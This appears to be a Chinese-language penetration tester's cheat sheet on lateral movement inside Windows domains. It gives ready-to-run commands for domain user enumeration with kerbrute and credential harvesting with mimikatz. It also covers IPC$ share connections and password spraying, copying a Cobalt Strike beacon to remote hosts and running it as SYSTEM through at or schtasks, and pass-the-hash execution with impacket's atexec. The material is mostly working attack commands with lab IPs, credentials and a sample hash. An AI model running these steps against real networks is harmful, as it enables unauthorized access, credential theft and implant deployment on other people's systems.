横向移动01
横向移动
1.使用非用户登录
net user /domain //不是域内返回如下
就是说和域的通信是不行的
2.使用域用户登录
net user /domain //在域内返回结果如下
3.不在域内,切换到域内用户(提权或者切换到域用户)
1.提权到system,这个用户可以脱离域的限制,逃离域控的控制
net user /domain //提权到system发现可以和域控通讯了,但是这个和内网的配置有关
通过system进行横向移动即可
切换到其他用户,需要使用账号密码,通过获取账号密码就可以获取凭证
4.域内用户枚举
https://github.com/ropnop/kerbrute/releases
使用:kerbrute_windows_amd64.exe userenum --dc ip -d 域名 字典文件
5.mimikatz抓取密码
当系统为win10或者2012R2以上,内存中默认禁止缓存明文密码 可通过修改注册表的方式来进行抓取,但需要重启后重新登陆才行
6.IPC攻击
1.建立IPC连接到目标主机
2.拷贝要执行的命令脚本到目标主机
3.查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4.删除IPC连接
IPC$利用命令|密码喷射
net use //查看共享
###登录本地用户要有计算机名字####
net use \\server\ipc$ "password" /user:username #工作组用户登录
net use \\server\ipc$ "password" /user:domain\username #域内用户登录
dir \\xx.xx.xx.xx\C$\ #查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat #下载文件
copy \\xx.xx.xx.xx\C$ #复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del #删除IPC
net view xx.xx.xx.xx #查看对方共享
7.拷贝文件到目标机器运行
1.at < Windows2012 //小于2012用at
copy beacon.exe \\192.168.3.21\c$ //拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\beacon.exe #添加计划任务f
2.schtasks>=Windows2012 //大于等于2012用schtasks
copy beacon.exe \\192.168.3.32\c$ #拷贝执行文件到目标机器
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DALLY /tr c:\beacon.exe /F #创建beacon任务对应执行文件
schtasks /run /s 192.168.3.32 /tn beacon /i #运行beacon任务
schtasks /delete /s 192.168.3.32 /tn beacon /f #删除beacon任务
正向后门要我主动连接,connect ip地址
8.使用CS的工具插件进行IPC的连接
这个很方便,比用命令简单
impacket套件,半交互式横向移动工具
https://github.com/fortra/impacket
python atexec.py god/administrator:Admin12345@192.168.3.21 "ver" //通过明文密码登录
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami" //通过hashs执行命令连接
内网横向移动工具
https://mp.weixin.qq.com/s/L3uzzAAziZd1y3qNmADfoQ